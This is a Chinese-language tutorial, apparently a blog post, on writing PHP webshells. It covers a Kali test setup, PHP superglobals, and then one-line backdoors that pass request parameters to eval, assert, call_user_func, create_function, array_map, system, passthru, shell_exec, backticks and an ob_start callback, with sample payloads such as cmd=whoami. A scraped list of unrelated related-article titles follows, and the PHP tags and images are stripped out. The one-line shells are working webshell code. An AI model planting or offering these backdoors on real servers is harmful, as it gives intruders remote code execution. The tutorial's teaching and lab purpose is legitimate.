一、环境

kali 192.168.43.177

开户apache /etc/init.d/apache2 start

/var/www/html/目录下编辑php代码

hackbar

https://github.com/Mr-xn/hackbar2.1.3

二、php基础

输出函数:

echo - 可以输出一个或多个字符串

print - 只允许输出一个字符串,返回值总为 1

提示:echo 输出的速度比 print 快, echo 没有返回值,print有返回值1。

var_dump 用于输出变量的相关信息,包括变量类型,值

print_r 函数用于打印变量,以更容易理解的形式展示。

EOF

echo <<

我的第一个标题

我的第一个段落。

EOF;

// 结束需要独立一行且前后不能空格

?>

$txt1="Hello world!";

$txt2="What a nice day!";

echo $txt1 . " " . $txt2;

?>

$GLOBALS 用于访问全局变量数组

$_SERVER 包含服务器信息和请求头的数组

image.png

表单数据

$_REQUEST

$_POST

$_GET

$_FILES 是一个预定义的数组,用来获取通过 POST 方法上传文件的相关信息。如果为单个文件上传,那么 $_FILES 为二维数组;如果为多个文件上传,那么 $_FILES 为三维数组

$_ENV

PHP中的$_ENV是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它。

$_COOKIE

数组 用于取回cookie的值

$_SESSION

数组,用于取回会话变量

三、webshell常用函数

3.1代码执行

1. eval

eval () 函数把字符串按照 PHP 代码来执行

该字符串必须是合法的 PHP 代码,且必须以分号结尾

如果没有在代码字符串中调用 return 语句,则返回 NULL

如果代码中存在解析错误,则 eval () 函数返回 false

注意:

加上 @符来抑制错误输出

eval函数参数中的赋值操作需要对$转义 \$

//#1-eval

eval($_POST["cmd"])

?>

//post:cmd=phpinfo();

//get:?cmd=phpinfo();

2. assert

assert为php中的断言函数,用法同eval

assert_option()可以用来对assert()进行一些约束和控制;

默认值

ASSERT_ACTIVE=1 //Assert函数的开关

ASSERT_WARNING =1 //当表达式为false时,是否要输出警告性的错误提示,issue a PHP warning for each failed assertionASSERT_BAIL= 0 //是否要中止运行;terminate execution on failed assertions

ASSERT_QUIET_EVAL= 0 //是否关闭错误提示,在执行表达式时;disable error_reporting during assertion expression evaluation

ASSERT_CALLBACK= (NULL) // 是否启动回调函数 user function to call on failed assertions

例子

//#2-assert

assert($_POST["cmd"])

?>

//post:cmd=phpinfo();

3. call_user_func

call_user_func把第一个参数作为回调函数调用,

其余参数是回调函数的参数。

返回回调函数的返回值。

//#3-call_user_func

call_user_func($_POST["fun"],$_POST["para"])

?>

//post:fun=assert&para=phpinfo();

4. create_funtion

create_function ( string $args , string $code ) : string

args 为函数参数 如$a,$b

code 函数的代码

返回一个字符串,表示 函数名

//#4-create_function

$a= $_POST['func'];

$b = create_function('$a',"echo $a");

$b('');

?>

//post:func=phpinfo();

5 array_map

image.png

//#5-array_map

$array = array(0,1,2,3,4,5);

array_map($_GET['func'],$array);

?>

//post:func=phpinfo

3.2 命令执行

系统程序执行

1. system

system函数

//post:cmd=whoami

2 passthru

passthru — 执行外部程序并且显示原始输出

passthru

//post:cmd=ifconfig

3.exec

返回命令输出的最后一行

image.png

4 pcntl-exec

pcntl-exec

5. shell_exec

shell_exec

6 popen proc_popen

popen

7 ``

8 ob_start/ob_end_flush

$cmd = 'system';

ob_start($cmd)

echo "$_GET[a]";

ob_end_flush();

?>

//?a=whoami

参考资料

php webshell编写,php webshell学习相关推荐

  1. 什么是webshell 常见的webshell工具有哪些

    Webshell是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,比如执行系统命令.窃取用户数据.删除web页面.修改主页等,其危害不言而喻.黑客通常利用常见的漏洞,如SQL注入.远程文 ...

  2. 动态分页展示效果(纯JavaScript编写,值得学习)

    动态分页展示效果(纯JavaScript编写,值得学习) <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN&q ...

  3. php webshell原理,php webshell分析和绕过waf原理解析

    本文讲述的是php webshell分析和绕过waf的原理解析,旨在服务社会,供安全研究人员学习使用,请勿用于其他非法用途,违者后果自负.WebShell是攻击者使用的恶意脚本,它的用途主要是在攻击后 ...

  4. JSP webshell免杀——webshell免杀

    好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬. 结果我免杀跟着学的视频就是这位大佬的. 更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在. 果然,实习就是好, ...

  5. 复杂sql 查询编写方法_学习SQL:如何编写复杂的SELECT查询

    复杂sql 查询编写方法 In my career, I've heard many times, things like "How to write a complex SELECT qu ...

  6. 清华学霸用3年编写的Python学习清单共26章,学完托福雅思轻松拿

    首先,你了解Python吗? Python是一门易读.易维护,并且被大量用户所欢迎的.用途广泛的语言.由于具有丰富和强大的库,又被称为胶水语言,Python 极其容易上手,主要源于Python有极其简 ...

  7. IDEA 配置Go环境,编写Golang代码,学习笔记(一)

    Hello,各位小伙伴们,又有一段时间没有更新了,老哥呢,最近去外面面试,发现Java已经是卷得不能在卷了,老哥没有办法,只能另辟蹊径,去卷Go,现在可以说又回到原点了. 诶,世事无常,大肠包小肠. ...

  8. 【非广告】这是一份专为程序员编写的英语学习指南

    转载于机器之心 选自GitHub 作者:于江水 虽然 PHP 是最好的语言,但所有程序员必须学会的只有英语.面对铺天盖地的英文文档和教程,我们能做到的只有以最快的速度学会这门语言了.近日,一名程序员把 ...

  9. 资源类❀超实用学术必备的论文学习网站和英文论文编写,人工智能学习网站(免费)

    目录 前言Intr 1.文献查找和下载 1.1.papers with code(论文和代码) 1.2.Research rabbit(研究兔) 1.3.Google 学术 2.论文AI总结 3.文献 ...

最新文章

  1. 实例1、查询数据(多级组织)
  2. 计算机三级 偏软,计算机三级偏软说明
  3. Linux中的延时函数
  4. matlab读取fortran文件夹,怎样用fortran获取一个文件夹里的全部文件名?
  5. mysql redis hbase_MySQL之基本介绍
  6. php 工厂模式作用,PHP工厂模式的好处
  7. 理性看待计算机专业,理性看待西电优研政策!本校计算机考研党须知
  8. 2020年最新程序员职业发展路线指南,超详细!
  9. CocoaAsyncSocket
  10. React Advanced 备忘
  11. Python数据处理Tips数据预处理操作方法汇总
  12. java IO流简述
  13. 电信物联网平台ctwing对接开发-平台概述
  14. ch341a i2c 安卓_CH341-I2C-labview-all-vision CH341A的I2C接口Labview all vision - 下载 - 搜珍网...
  15. 灰度、rgb之间的概念
  16. 湖人VS爵士!!科比4月14日最后一战,本赛季最高得分!狂得60分!!完美大逆转!!!...
  17. 锂矿降龙十八掌之时乘六龙
  18. 舍不得卸载的5款宝藏APP,每款都是精品中的精品
  19. 无服务计算的未来和挑战: A Berkeley View on Serverless Computing
  20. 【电工基础】电路的基本概念与基本定律

热门文章

  1. 【运维面试】你能阐述下CI/CD吗?
  2. k8s-资源编排(YAML)的使用
  3. 【集群】真实环境实战-LVS-NAT模式的实施
  4. audition2022最新版
  5. AVFoundation里用到的相关库(一)
  6. 2016学c语言用的软件下载,|C/C++程序设计学习与实验系统下载c2016版 - 欧普软件下载...
  7. 音视频处理中的基本概念
  8. LabVIEW串口通信基础知识
  9. 信息系统集成及服务管理(ITSS)和审计要点
  10. EVAtlas:人类细胞外囊泡中ncRNA表达的综合数据库